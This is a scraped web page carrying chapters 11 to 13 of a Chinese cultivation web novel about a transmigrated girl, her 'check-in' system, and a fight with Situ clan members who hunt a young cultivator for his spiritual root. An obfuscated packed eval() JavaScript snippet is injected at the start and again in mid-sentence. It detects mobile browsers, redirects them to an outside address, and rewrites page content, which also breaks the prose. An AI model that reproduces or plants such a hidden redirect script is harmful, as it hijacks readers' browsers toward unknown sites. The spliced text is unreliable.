;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余白不甚在意地摆了摆手:“小意思,师兄没事比什么都重要。区区几颗丹药罢了,就算神兵佛宝也值得。” 雪明霜眼眸一动,目光在两人身上隐晦扫了一圈。 余白爱慕齐昭这件事在宗门算是众所周知,哪怕是常年闭门修炼的雪明霜也有耳闻,毕竟这年头修者所选的道都是为了自身,唯独余白是为齐昭入的画道。 只是她没想到余白会这样直白热烈,这里还有外人,竟然有如此直抒胸臆。 也不知道被表白的齐师弟会不会觉得尴尬。 齐昭叹了口气,无奈道:“师妹,你这样对谁都掏心掏肺的性子实在是……碰上知恩图报的还好,若是碰上心怀不轨之人你这样毫无保留地对待会被辜负伤害的。” 雪明霜:“……” 好吧,齐师弟完全没有意识到余师妹对他的偏爱,只当是她心善纯良。 不过这也不怪齐昭,余白本身就真诚纯粹,对宗门的弟子无论出身都一视同仁,人缘出了名的好。 可能在齐昭看来余白对亲近之人和他人的区别不过是好与更好罢了。 连带着她这种和余白并不相熟的人不也在这次任务中被她舍命相救过吗? 想到这里雪明霜的神情越发柔和,那张向来冷若冰霜的脸也有了温度,宛若一夜春来。 这里所有人的心情都很好,只有江小白。 他听着余白左一句“师兄最好啦,师兄才不会辜负我”,又一句“师姐你在笑吗,哇你笑起来真好看,世界上怎么会有你这么好看的女孩子”,彩虹屁没完没了。 江小白一掌拍在旁边石头上,坚硬的岩石裂开,山洞瞬间安静了下来。 “吵死了,叽叽喳喳的生怕外面的人发现不了我们几个伤员吗?” 余白觉得莫名其妙,这不是有隔绝阵吗? 看着江小白阴沉着脸,她心里没忍住腹诽。 哼,什么嘛,番位小小,脾气吊吊。 11.第十一章 路人甲,番位可不就小嘛,十八线开外都排不上。 不过有一说一余白穿到这里这么久以来还是头一次碰见这么有个性的路人甲,尤其还是一出场就把男主高光场面抢走的路人甲。 简直是倒反天罡。 诶等等,是啊,男主的名场面被人抢了,那他不会有事吧?她的打卡算成功还是失败? 危机解除,余白才想起了这茬,赶紧猛戳系统。 【系统,主系统那么怎么说?我提交的打卡图合格了吗?这个江小白会因为抢了男主高光被天道惩罚吗?】 这里的所谓天道,其实就是指的作者意识。 写这本小说的那位男同学是个完完全全主角控,或者说他是把男主给代入到自己身上去了,任何比男主还要人前显圣的角色下场都不会太好,要么后期被男主狠狠打脸,要么就是各种出意外草草下线。 系统回答道:【我正要给你说呢,主系统那边刚回。虽然评价还是绝丑,但是打卡成功了,因为男主逆境突破和英雄救美的剧情都有。这边主系统给了三颗星,路人甲积分加二,目前我们总积分十二点。恭喜宿主,五百年了,你终于获得了低阶丹药的炼制技能。】 【请问宿主是否用十二点积分兑换低阶丹药回春丹的炼制技能?】 一下子扣除十二点,一夜回到解放前,余白有点舍不得。 【暂时先不兑换了。那这个江小白呢?会被天道抹杀吗?】 【应该不会,他是抢了一点主角的高光场面,可他救了主角也是事实,凭借这一点天道这次不会对他动手的。不过……】 余白放下的心又提了上来:【不过什么?】 【不过这人气运好差啊。】 系统能够看到周围人的气运,一般越是人中龙凤的身上气运越强,具体表现为他们身上会有一层金光,像镀金佛像一样,十分耀眼。 就拿齐昭和雪明霜来说,尤其是前者,简直就是行走的小金人。 可眼前的少年不光身上气运全无,还散发着浓郁的黑气,它当系统这么多年还从来没有见过气运为负的人。 哪怕再普通如余白这样的路人甲,也是有那么一丝丝的气运的。 【怪不得他突破失败还被雷劈,又被困在秘境出不去呢。宿主你离他远一点,这种人霉运缠身,走路左脚拌右脚,喝口水都塞牙,你当心被牵连。】 这么倒霉的吗? 余白睁大眼睛,圆圆的杏眼因为这个动作更圆得没边了,她长相本就是属于那种偏钝感的类型,因此这样显得她呆萌呆萌的。 江小白本来被她无视了不爽,可看着她这副清澈愚蠢的样子火气又上不去,只能憋着,转过身背对着她。 他人是背对着余白的,那把桃木剑却悬在身边,剑刃带着剑气对着齐昭他们。 余白觉得这人有点奇怪,防备着他们却还把他们带到自己的地盘来疗伤休息,要是换作她,真防备根本不会管他们,直接就分道扬镳了。 而且余白一行三人,两个重伤,一个弱鸡,加起来都打不过他,没必要这么提防他们吧。 【这有啥不明白的?他倒霉呗。倒霉的人总是要格外警惕小心才能苟住狗命。】 也是哈。 之前没注意,此时少年背过去后余白才看到他衣袖被烧灼的痕迹,以及一些濡湿。 江小白穿的是黑色的衣服,加上齐昭和雪明霜也伤痕累累,山洞里血腥味浓重,不仔细看还真不容易注意到对方也受了伤。 看他当时那么轻松一剑就制服了那妖兽,余白还以为他什么事都没有呢,没想到竟然受伤了。 都受伤了还那么咄咄逼人要动手,真不知道他怎么想的,也不怕鱼死网破。 山洞里三个人都在运转周天疗愈伤口,只有余白一个人闲着磕丹药吃。 她吃的这些不是沈宿眠给她的丹药,是她这段时间炼失败的,有回春丹还有其他的低阶丹药,虽然功效全无,胜在味道还不错。 余白当时炼制的时候就知道自己会失败,就加了点蜂蜜进丹炉,因此这些丹药吃起来甜滋滋的像糖豆,她就时常备着当成零嘴,自产自销了。 在快要把一把糖豆,哦不,丹药吃完的时候,江小白突然呕出了一口血,给余白吓了一跳。 她赶紧把剩下的丹药塞进嘴里,小跑着过去查看。 “你没事吧?” 少年脸色苍白,嘴角染着血,连同高高的马尾也似耷拉下来般,一看就很虚弱,偏偏他死鸭子嘴硬,抬起手随意擦了下血迹,语气平淡道:“没事,呕的是口瘀血而已。” 齐昭和雪明霜也在听到动静看了过来。 齐昭先前能尽量不说话便不去说法让他生厌,只是这次他实在做不到视若无睹。 他问道:“江道友,你说你之前突破失败可是从筑基突破至金丹突破失败?” 江小白没说话,那便是默认。 其实筑基突破能引天雷也就金丹了,但以防万一齐昭还是问了一句。 “那你身上的伤可是天雷造成的?” 修者渡雷劫要么以身受之,要么以修为渡之。 选择前者的方式渡劫的,要么是需要淬炼身体的体修,天雷对其他修者是劫,对他们来说是可遇不可求的淬体方式,像齐昭这种剑修则是能以修为渡就渡,渡不了才会选择身受,他们的体质终究不是能和体修那样固若金汤,刀枪不入的体魄能比的,硬受非但起不了淬炼的作用,反而会伤其根基。 齐昭这么问是想要了解江小白的受伤情况,毕竟在这里没有人能比他更清楚突破的那三道雷劫的威力程度了。 江小白也知道他是好意,语气没那么夹枪带棒了。 “嗯,是天雷所伤,当时天雷把灵门劈开的时候我也没有幸免。” 齐昭道:“我可以帮你治疗。” 怕江小白误会,他又解释道:“天雷所受的伤和寻常伤势不同,带有雷之力。除却变异雷灵根和不在五行之外的天灵根修者可以不受影响将其消耗,其他修者若是不及时将雷之力从体内清除干净的话,恐再牵雷动。” 言下之意就是还得再挨雷劈。 而这里只有天灵根的齐昭能够帮江小白把体内的雷之力引出,这才是齐昭无法视若无睹的原因。 江小白道:“不必了。” 齐昭微皱着眉,一旁的雪明霜见此出声道:“你既已见识过天雷的威力,应该知道惜命才是。” 这话既带着不赞同也有劝告的意味。 雪明霜对散修没有任何偏见,只是江小白这样为了面子拿性命不当回事实在让她难以理解。 余白见气氛又僵住了,挠了挠头,放软语气对江小白道:“你别那么固执,齐师兄只是想帮你,再说了你救了他,他为你引出雷之力是他该做的,你不要想那么多,觉得他是在炫耀自己天灵根了不起之类的。” 江小白莫名看了余白一眼:“是你们想太多了吧,我说不必是因为我的确用不着。” 他抬起下颌,矜傲的姿态有点像猫。 “我也是天灵根。” 此话一出,齐昭和雪明霜面露惊讶,其中反应最大的是余白。 “你也是天灵根?!” 江小白抱着手臂,似笑非笑道:“你这是什么反应?是我是天灵根很意外,还是我一个散修有天灵根很意外?” 余白意识到自己反应有点过激和不礼貌,脸一红,摆手道:“没有没有,我绝对没有任何看不起你的意思,我就是单纯觉得厉害,对,太厉害了。” 还有震惊。 他只是个路人甲啊,怎么有这么高的天赋? 同样都是路人甲,她才三灵根,这公平吗,这合理吗? 系统同样也很震惊,这年头路人甲都这么屌了吗?和男主一样的天灵根,这还谁分的清路人甲和男主了啊? 一人一统都很愤愤不平,一个是为自己抱不平,一个是为齐昭。 所以刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714386|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才江小白并没有在逞强,他吐的真的是瘀血,这段时间被雷之力堵塞在灵脉,今日终于借助妖丹给逼出来了。 齐昭见他气色慢慢恢复,的确有所好转也松了口气,道歉道:“抱歉,是我没问清楚情况擅作主张了,还望江道友见谅。不过真没想到江道友竟然也是天灵根,你这样年轻,修为也不俗,为何要选择做一介散修呢?” “当然,我并不是看轻散修的意思,我只是觉得以你的天赋资质有人指引或许道途会更加顺遂。” 哪里是或许,天灵根,进哪个大宗都得疯抢,得到的资源也绝对是第一阶梯的,在如今良莠不齐的修真界必然是重点栽培对象。 别的不说,若是江小白已经拜师入道,他此次的突破有师尊或者同门保驾护航,失败的几率微乎其微。 齐昭委婉建议着江小白,言语神情全都透着惜才之心。 “江道友,你若是有意拜师入宗的话,可以考虑下天极宗。” 这是直接抛出橄榄枝了。 余白有点懵,自己就震惊了那么一下下,进展怎么就发展到邀请对方入天极宗了。 他真的只是路人甲,而不是主角团的一员吗? 系统又查了一下,全文上下的确没有一个重要配角叫江小白的,甚至是查无此人,这种一点戏份都不存在的家伙怎么存在感那么强? 同为路人甲,为何他如此优秀,不光是天灵根还得到了主角的青睐! 真是人比人气死人。 想到自己一天天累死累活,拼命打卡才赚了那么点积分,余白就欲哭无泪。 然而更绝的是,江小白拒绝了。 “不必了,一个宗门没必要有两个天灵根。” 好,好猖狂,但是好帅。 一个路人甲怎么能说出这么帅气的台词? 余白此刻已经不是羡慕嫉妒了,她都开始有点崇拜对方了。 齐昭一愣,显然没想到对方拒绝的原因会是这个,一时不知该说什么。 雪明霜却还想要再争取一下,如今天极宗势微,今年新入门的弟子水平也不及往年,太虚寻宝,仙门大比,哪一个比试天极宗都没有优势。 去年齐昭刚入门,修为尚浅,和其他几个师兄师姐组队一起也没有落到什么好,如今他临危突破到了金丹,天极宗也不一定有什么胜算,因为今年那四大宗又出了不少好苗子,其中每个宗都有新的天命者出现,只有天极宗年轻一辈里就齐昭一个独苗。 修真界的法则向来只有四个字——弱肉强食。 秘境有限,资源灵宝也有限,如果不去争不去抢,那么宗门之间的差距只会越来越大,而天极宗已经从当年的第一掉到了五大宗最末了,再掉下去就连剑祖的最后一点荣光都守不住了。 雪明霜道:“如果你是因为这个不愿意进天极宗的话,那你可能更没法去另外四大宗。他们天灵根的数量或许不多,天命者却不少,每个宗门都有至少两位天命者,你去那里才会更不受重视。而且那边多是仙门子弟,他们大多排外,且不友善。我们天极宗实力虽暂时比不上他们,但绝对不论出身都一视同仁。当然,你要是想去其他中小宗门当我没说。” 齐昭也道:“江道友再认真考虑一下吧,天极宗不会让你失望的。” 江小白突然转过头问余白:“你呢?也希望我入天极宗?” “啊?” 余白不明白他为什么要特意问她,难不成她希望他来他就会来? 江小白漆黑的瞳眸像漩涡,神情专注的好像真的希望她能挽留他似的。 “呃,如果可以我当然希望你能来我们天极宗啦,我超欢迎的。” 她的口吻有点棒读,却句句真心。 江小白深深看了她一眼:“我考虑考虑。” 齐昭和雪明霜神情愕然,两人不约而同对视了一眼,都从对方的眼里看到了同样的猜测。 他们心情微妙,突然也不是那么想邀请少年入宗门了。 12.第十二章 余白倒是没觉得江小白对她一见钟情什么的,拜托,有雪明霜这样的大美人在前,谁会看上她呀? 但江小白的确对她态度要比齐昭她们要好。 原因也很容易猜到,又是一个仰慕余秋离的小迷弟一枚呀。 这种情况余白见多了,在天极宗乃至隔壁宗门的,凡是剑修,接近她无一例外都是因为自己那位牛蒂轰轰的老祖宗。 就连男主齐昭在入天极宗的时候一开始对她也只是单纯当同门,态度不冷不热,在听说她是余秋离现如今唯一直系血脉后,对她因为做任务不得不“骚扰”他的一些行为睁一只眼闭一只眼,后面两人彻底熟悉了齐昭才真的接纳了她,成为了她画中知音。 刚才自己都已经自报家门了,江小白对她客气些也正常。 这叫什么?狐假虎威。 如此想来上天还是很公平的,虽然没有给她这个路人甲配备多么厉害的天赋,但是给她的金大腿粗啊,反正目前为止除了玉京那位修真界活化石,还有归墟的那位女道仙,背靠余秋离这个老祖宗,余白在整个修真界基本上都可以横着走。 想动她?除非是活腻了。 尽管周围总是会有些“余剑尊英明一世,没想到他的后代却是一个堪堪入道的废物”之类的或惋惜或贬低或幸灾乐祸的话,余白表示无所谓,不care。 若是她本来就是土著可能会有点自卑,可她来自二十一世纪,从一个普通女高变成修士都已经不是阶级跨越了,她直接进化成人上人了,她有啥自卑的?她当时穿来得知自己有灵根能修炼的时候,牙花子都乐出来了。 况且那些家伙也就只敢在背后哔哔赖赖,当着她面屁都不敢放,也不会坏她心情。 对于江小白入不入天极宗余白并不在意,她本身就是个很佛系的咸鱼,不喜欢别人push自己,也不喜欢push别人,主打一个随缘。 只是雪明霜和齐昭似乎很希望他加入天极宗这个大家庭,而少年也有松动的迹象,余白又劝说了几句。 “来吧,天极宗很好的,我不是自吹自擂,我之前仙门大比的时候接触过其他四大宗的人,一个比一个鼻孔朝天。我背靠老祖宗都没给我什么好脸,更别提你一个草根出身了,你去他们那里不一定会被欺负,但一定会被排挤的,哪有我们天极宗这么上下一心,相亲相爱。” 其实天极宗也有些老鼠屎,但管他的呢,先把人骗进来再说,之后有什么大不了她罩着。 江小白支着头似有些累了,却还是耐着性子听她说完。 “嗯知道了,会考虑的。” 他打了个哈欠,往后一靠,桃木剑立刻飞过去让他倚着。 余白“咦”了一声,刚才江小白并没有操纵桃木剑,它竟然自己动了。 江小白看她好奇,回答道:“这不是普通的桃木剑,是我用雷击木做的,吸收了我的精血和剑气,被我炼化了,所以有一定的灵性。” “雷击木?是不是就是你突破失败劈你的天雷给劈的?” 江小白:“……你能不能别总揪着我突破失败的事情不放?” 余白捂着嘴,不好意思地眨眨眼睛。 明明是初次见面,竟然让人感觉是多年好友一般,氛围和谐融洽的让雪明霜和齐昭这两个同门都融不进去。 雪明霜不是一个以貌取人的人,相反的,她只看重实力,只要实力强长成什么歪瓜裂枣都无所谓。 可这一次她却对眼前这个素未谋面的少年挑剔起来,觉得他鼻子不是鼻子,眼睛不是眼睛的。 江小白长得不丑,很普通,是那种扔进人群里都找不到的长相,唯独那双眼睛似锋芒毕露的寒剑,让人见之忘俗。 但,也就只有这双眼睛能看了。 和心地善良可爱漂亮的小师妹相比,哪儿哪儿都不般配。 雪明霜有点忍不了了,出声道:“小师妹,江道友好像有点累了,你别打扰他休息,过来我这边吧。” 小师妹? 之前师姐都只叫她师妹或者余师妹的,怎么现在叫小师妹了? 不过余白还挺喜欢这个称呼的,有一种被当成妹妹而不是同门的感觉,更亲近了。 余白道:“嗯嗯,好的师姐,我这就来。” 她开开心心过去了,连招呼都没跟江小白打。 江小白看着余白亲亲热热凑上去靠着雪明霜,冷哼了声,闭眼准备休息。 “轰隆”,山洞外突然传来一声巨响。 江小白布下的这个隔绝阵只隔绝里面的声音,外面一点风吹草动反而还会放大。 这个声音听上去很震耳欲聋,实际上应该要小很多,不过动静也挺大的了。 众人都警惕地留意着外面,这里雪明霜的感知力最强。 她不动声色将一缕灵力释放出去,灵力是一条透明的线,透着森寒的气息,它能够敏锐感知周围的温度和气息以此来判断来人的距离和数量。 雪明霜神情凝重:“外面东南方三百米处有三人,在向山洞这边靠近,应该是发现我们了。” 齐昭他们当时从梧桐林那边离开的很匆忙,只简单将血迹还有气息稍作隐藏,若遇到感知力很强的修者,要找到他们的踪迹并不是难事。 齐昭拿起剑站了起来,习惯性将雪明霜和余白护在身后。 “你们待在里面不要乱动,我先出去看看。” 齐昭刚突破到金丹,修为,灵力等不是很稳定,加上身体的反噬也还没结束,虽然在四人中他的实力最强,却也是最危险的。 雪明霜道:“还是我去吧,我伤得轻,没有伤到内里,刚才调养了下已经恢复了五六成了。” 齐昭还没回应,一道清亮的少年音插了进来。 “我去。” “江道友……” 江小白摆手道:“别误会,我不是什么热衷于牺牲自我无私奉献的人,先前是为了妖丹,这次出去也是因为此事与你们无关。” 他敛了神情,手中桃木剑泛着森然寒气。 “外面那几个家伙是冲着我来的。” 余白在听到动静的第一时间就抓了一把爆破符和极速符在手上,她躲在齐昭后面,听到江小白这话探头出来,问道:“你仇家?” 江小白冷笑:“他们也配?不过是一群资质驽钝,觊觎他人根骨妄图走捷径的废物罢了。” 修真界中只要有灵根的都能入道修行,可入道门槛低,不代表走得长远,大多数修者资质平平,终其一生都达不到天才的起点。 因此其中一些心术不正的人会钻研些阴损办法来改变先天的资质,例如把人当成炉鼎采阴补阳,或者修炼一些速成的禁术秘法,还有的更轻松且没有副作用的,便是掠夺天赋高的修者的灵根为己用。 而江小白便是后者。 余白一开始还没有把系统提醒她远离江小白的话太当回事,现在她算是真的切身感受到他是有多倒霉了。 突破失败,被雷劈,还被人追杀,这待遇放在男频文里高低都得是个男配,结果他却是一个路人甲。 真是有一种杀鸡焉用牛刀的荒唐感。 余白气运本来就不高,又往齐昭身边挨近了些,沾沾主角气运。 江小白看着少女的脑袋从齐昭身后缩了回去,只露出一双眼睛略显警惕地盯着他。 齐昭也注意到了,轻轻揉了下余白的脑袋,柔声安抚:“别怕师妹,有我和雪师姐在,我们会保护好你的。” 雪明霜也给了她一个安心的眼神。 余白感动得哼哼唧唧,钻到两人中间紧紧抱着他们的胳膊,跟个连体婴儿一样舍不得分开。 “师兄师姐最好啦。” 江小白别开脸,提着剑走了出去。 齐昭见了也抽出胳膊跟了上去。 雪明霜原本也想跟着去的,只是放心不下余白,于是选择留在了山洞静观其变。 余白也知道自己跟出去除了让他们分心帮不了什么忙,可让她什么也不做待在里面也刺挠。 她从芥子囊里掏了掏,拿出来一面追影浮光镜,在雪明霜疑惑的神情下又把两条一白一黑的布条递给她。 “师姐,这个追影浮光镜是老祖宗给我的传送法宝,只要拿着沾染着传送之人气息的东西,就能通过它把人传送回来。” 余白又晃了晃那两根布条,“这是我刚才给他们包扎时候从他们衣服上扯下来的布料,正好可以充当传送媒介。要是一会儿他们有危险避不开我们就把他们传送回来。” 这听上去似乎是个好办法,可前提是他们发现不了这里。 若是传送到百里千里,或者直接传送出这个秘境还好,这么近的距离对方有感知型修者,传送回来不是帮他们躲避危险,而是方便敌人瓮中捉鳖。 雪明霜看着少女一副“我聪明吧,夸我夸我”的表情,最终也没有说出什么泼凉水的话。 “对了小师妹,我记得这个追影浮光镜还有投影传送之人的情况的功能,是吗?” “嗯嗯,有的。只需要把带有他们气息的东西放到镜子上,然后再渡入灵力。” 余白将灵力凝聚,渡进去,再渡进去,追影浮光镜的表面只是像荡漾的涟漪波动了一下,并没有显露出画面。 她尴尬地看向雪明霜:“师姐,我灵力不够,打不开这个法宝。” 雪明霜将手放到镜面,镜面陡然凝了一层冰霜,随即画面中显露出了齐昭和江小白的身影。 他们已经和那队人碰上了。 和雪明霜感知到的一样,一共三人,身着青紫道袍,上印金色符纹,以花鸟河川为图纹,精细华贵。 这个道袍并不是寂寂无名的中小宗门的道袍,而是昆仑的修真大族司徒家的道袍。 当今修真界主要分为三洲两山一境,分别是以五大宗所在的玉京的瀛洲,蓬莱的西洲,天 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他是个刀修,剑修和刀修的速度都很快,两人的距离咬得很死,最后登顶的时候齐昭只比他快了一步。 这一步还只是长老这些修为高的能看出差别,对于像余白这样的弟子全程只能看到两道残影穷追不舍,而且她还让系统给她慢倍速回放了,她还是没看清谁是第一。 从气运上来看两个都是金光闪闪的小金人,系统也没办法分辨。 于是余白便从气质判断,男主嘛,肯定得拽然后就是装,齐昭一副温润如玉好好先生的样子,她当时怎么也没想到他才是男主,于是径直找上了司徒苍,装作小迷妹的口吻问他能不能让她给他画幅画,刚才速度太快她没捕捉到他一举夺魁的英姿。 司徒苍本就不是很好看的脸变得更难看了,他撂下一句你找错人了,然后便甩袖离开了。 他约莫以为自己是故意嘲讽他,反正后面每次见到她他的反感都溢于言表。 余白头都大了:“怎么是司徒家的人啊?司徒苍要是知道我们欺负了他的族人肯定不会放过我们的。” 雪明霜道:“不会的,这些人穿的是青紫道袍,司徒主家的服饰是正紫色,他们是分家的人,司徒师弟不会因为分家的人和咱们结仇,他没那么有同族情。” “还有小师妹,按照我们这边伤残的情况来看,谁欺负谁还不一定呢。” “……” 不要长他人志气灭自己威风啊师姐!你可是女主之一,齐师兄更是大男主!就连江小白那个路人甲也是史上最强路人甲,打败这些小喽啰还不是分分钟的事情! 而情况的确也如雪明霜所说,而且还要更糟糕一点。 这三人里面竟然有一个金丹修士。 齐昭神情凝重地看向三人中间的那个体态略显臃肿的青年身上,他如今也是金丹,若是对方是金丹初期修为他能够感知到,但他感知不到,这说明对方的修为在金丹初期以上。 这就有些棘手了。 “这家伙叫司徒乾,修为应该在金丹中期,我和他交过手,实力也就那样,只是修为压人。” 江小白嘴上这么说着,神情并未轻松多少。 “你要是不想淌这趟浑水现在离开还来得及,虽然这家伙全身上下就修为能看,但修为的差距,哪怕一点都能压死人。” 不光是那个金丹中期,就连他身边的两个跟班都是筑基巅峰。 当时江小白能从他们手中逃脱一半是运气,一半靠的是速度。 这个运气并不是什么好运,而是霉运,他入这个秘境本身就是因为被他们追杀,途中更是雪上加霜危境突破,三道天雷一直追着他劈,他们怕被天雷劈死才没有追上来。 要是他突破成功了还好,打不过还有机会跑,只是这种好事绝不可能发生在他这种幸运E身上。 齐昭没有退回去,上前一步和他并肩而站。 “江道友,我能和你商量个事吗?” 江小白的注意力全部都在提防前面那三个人了,听到齐昭不答反问有些烦躁。 “这种时候你还要和我商量什么?逃跑路线吗?” “不是。” 齐昭拔出灵剑,雪色的剑无瑕,全是逼仄的剑气。 “若是我们此次能全身而退,你能否考虑同我们回天极宗?” 江小白一愣,想也没想便道:“不考虑。” 齐昭有些遗憾,却并没有收剑,无论对方考不考虑因为那份救命恩情他也决意留下来同对方共进退。 “全身而退就想让我跟你们回去为你们天极宗效命?你就这点诚意?” 齐昭听出他态度松动。 “那江道友希望我拿出怎样的诚意?” 江小白双指并成剑式,桃木剑上白紫雷光滋滋作响,把他那张平凡的面孔映照出了几分阴鸷的邪性。 “很简单,我要他们死。” 13.第十三章 雪明霜听到江小白的话微皱了皱眉,倒不是对他的要求有什么异议,人都要挖他灵根置他于死地了,他想要他们的命未尝不可。 只是……这少年杀气太重了。 剑修在众多修道者中本身就以杀伐闻名,更有以杀入剑道的,因此他们的风评两极分化,慕强者很尊崇剑修,另一部分人则觉得他们剑走生魂,戾气深重。 这并非偏见,在修真界最容易堕落的也是剑修。 剑修一生都在和自己的杀欲做斗争,守得住道心的能以杀止杀,守不住反被杀欲控制,走火入魔。 雪明霜的感知力很强,在和江小白刚打照面的时候她之所以那般戒备,一方面是出于对人性的揣测觉得对方会趁人之危,杀人夺宝,还有一方面是少年给她的感觉。 阴冷,神秘,危险。 上一次雪明霜有这样的感觉还是面对西洲的一个毒修。 雪明霜的感知也没有错,少年的确对他们不怎么友善,却也并没有什么恶意。 这其中不知道是不是因为余白自报家门,又或者是忌惮天极宗,她不得而知。 但是无论有无恶意,有一点可以确定——江小白绝不会是一个简单的散修。 这样的人即使拥有天灵根,进入天极宗也不知道是福是祸,尤其是他似乎对余白…… 雪明霜侧头想去看余白听到江小白要赶尽杀绝的话的反应。 “刷刷刷”。 ? “……小师妹?” 余白不知什么时候又拿出了她的画册,手上刷刷画个不停,依旧很抽象,上面漆黑一团。 “哈哈抱歉师姐,我又灵感爆发了。” 雪明霜:“又是在画齐师弟?” 余白没有画齐昭,而是在画江小白,她好久没碰上让她这么热血这么燃,这么灵感爆棚的人了。 如果说画齐昭是为了打卡而打卡,画江小白她完全是出自本心地想画想记录。 原因无他,这家伙太他爹的装太他爹的帅了。 这让她有一种看某点男频升级流爽文的既视感,就这个味,正宗! 不光是余白一个人这么觉得,系统也在听到江小白的霸气发言的时候十分激动,以至于它把那一幕录下来反复欣赏了好几遍后才意识到自己竟然忽略了男主,这对于一个主角打卡系统而言实在是严重的渎职。 但是……这个路人甲真的好帅好对它的胃口啊!啊没有说男主大大不好的意思,他太内敛温润了,男频文男主不装不狠有什么意思?啊,也有可能现在是前期,后期齐昭肯定会比江小白还要狂拽酷炫帅的,对,这只是欲扬先抑! 系统强行把自己从爬墙的途中掰回来。 余白也忙把画册收好,打哈哈道:“没呢,我就是乱写乱画,我一紧张就喜欢画点什么缓解下焦虑。师姐你说他们联手能解决得了那三个人吗?” 雪明霜分析道:“如果只是对上那个金丹中期的修者的话,他们应该有五成的胜算,但是加上那两个人的话,可能就只有三成了。” 才三成?这么低的吗? 她还以为两个天灵根怎么也能有五六成胜算呢。不过也是,齐昭和江小白身上还有伤,的确不占优势。 余白这下是真焦虑了,咬着指甲,眼睛滴溜溜转着思考着对策。 雪明霜柔声道:“别担心,一会儿趁着他们交手的时候,我们趁机离开山洞。你沿着罗盘往反方向的北门先出秘境,我留下来帮他们顺便给你断后。” 余白当然不可能真的当逃兵,她的性命可是和主角绑在一块儿的,只是为了让雪明霜一会儿安心上阵,她点头答应了。 追影浮生镜里,少年的话没有任何掩饰,不光是说给齐昭听,更是说给那三个司徒家的子弟听。 为首的司徒乾面色骤沉,只能算清秀的脸因为戾气显得十分狰狞。 “区区散修,好大的口气!找了个刚突破连根基都不稳的金丹就以为能翻身反杀了,我倒要让你看看今日究竟是你死还是我活!” 他对着另外两个人命令道:“你们去给我拖住那个金丹的,在我把那小子的灵根剖出来之前都不要让他来搅扰我的好事!” 他们两个都是筑基大圆满,距离金丹也就一步之遥,修者的境界差一个境界便差之万里。 往日他们是决计不会这样以卵击石的,但齐昭刚突破,而且还有伤,这时候的金丹是最不稳定的,一点岔子都能把他给打回筑基。 别说拖住对方,就算杀了对方他们也有五六成的胜算。 他们三个虽然都是分家的人,但地位却云泥之别,司徒乾是分家家主之子,他们只是分家的家仆。 司徒家坐落昆仑以南的不周山,距离凤梧秘境有千里,且这里虽是一方大境,可以他们的修为能够探寻的也只是外围,外围的东西放在司徒家都嫌占地方,也就那些没见识的中小宗门的弟子或是散修才把它们当宝贝。 且真要秘境历练或是寻机缘,他们也有更好的选择。 他们之所以从不周不远千里赶来此方秘境,皆是因为族中长老为司徒钱算了一卦,说他改命的契机在凤梧秘境。 司徒乾的资质中等,是金土双灵根,这种资质能在三十不到就修炼到金丹中期主要是因为他有个好爹,大把大把的灵丹资源都堆给了他。 可资质如此,他前期晋升得再快,这辈子恐怕最高也就在元婴,这种程度是不可能继承分家的,所以司徒乾试了很多办法都无果后想到了替换灵根。 要替换灵根并不是找到一个资质好的就下手,得要契合自身,不然会被根骨反噬。 这些年司徒乾一直在等,终于等到了这个改命的契机。 此事到底不光彩,同时卜算本就是泄露天机,越少人知道越好,于是司徒乾只带了两名签了死契的家仆,备好了灵宝法器便来了。 能满足替换灵根要求的除了两者年龄不能相差太大,还有一点便是对方的修为绝对不能高于司徒乾,不然会遭到灵根反噬。 因此司徒乾对这个要被他挖去根骨的倒霉鬼没有任何忌惮,才如此轻装上阵。 只是根据长老给他的指示找到江小白的时候他还是大吃一惊,他知道少年必然年轻,却不想他竟然如此年轻。 十六岁便筑基大圆满,还是天灵根。 原本想着剖了灵根后给他将自己的双灵根给他,也算了却一桩因果,可在真正见到江小白后他完全被嫉妒冲昏了头脑。 他改变了主意,他要对方死。 这才有了这一路追杀至秘境的后续。 这三人配合默契,司徒乾甩出一条藤鞭打了过去,藤鞭带着荆棘一样的尖刺,涤荡的灵力锋利如刀,一旦碰上必然皮开肉绽。 齐昭和江小白不得不两边避开。 在把两人分开后,那两个家仆左右把齐昭拦阻,双手结了个奇怪的印记打在地上。 紧接着地面的影子像有了生命一样动了起来,然后冲出半空,像是绳索般紧紧缠绕在齐昭的脚踝,把他用力拽下。 地上的影子更为浓重,无数触手抽离出来,眨眼间变成了黑色的牢笼将齐昭囚禁其中。 齐昭也不是毫无反抗之力,他的剑气凌厉,能够将这用灵力凝聚的影子斩断,可麻烦就麻烦在这里秘境树荫无数,影子也是斩之不尽。 这是一场消耗战,谁的灵力先消耗殆尽,谁就赢了。 怪不得司徒乾会让他们去拖住齐昭,这个影子束缚术简直不要太合适了。 别说齐昭现在受伤了,没受伤都能拖到江小白被司徒乾给一命呜呼。 江小白躲避着司徒乾的鞭子,看到齐昭被困在牢笼里面“啧”了一声。 还诚意呢,给他找麻烦还差不多。 但江小白知道,如今这个局面逃是逃不掉了,单枪匹马更是找死,他只有和齐昭联手才有一线生机。 他手腕一动,桃木剑分解成了六柄手掌大的小剑。 三柄朝着司徒乾刺去,另外三柄两柄各刺向那两个家仆,剩下一柄朝着囚笼飞去。 江小白攻击了那两个家仆,让这个囚笼有了那么一点松动。 但这样即使砍断了影子也会迅速粘连,或者束缚住他。 天灵根的修者感知最是敏锐,江小白不用和齐昭交流所谓战术,在那柄桃木剑飞来的时候齐昭便洞察了他的意图。 一道剑气砍不断,那便两道! 齐昭对准着桃木剑飞来的方向砍去,两道剑气碰撞,涤荡出巨大的灵力波动。 之前不断粘连的影子被彻底斩断,齐昭一个瞬身从里面一跃而出。 司徒乾气急败坏,咒骂那两个家仆。 “废物!” 然后甩动藤鞭朝着齐昭打去,试图把他重新打回影子的囚笼里。 齐昭侧身避开,踩着那条藤蔓往上,江小白则引剑往下。 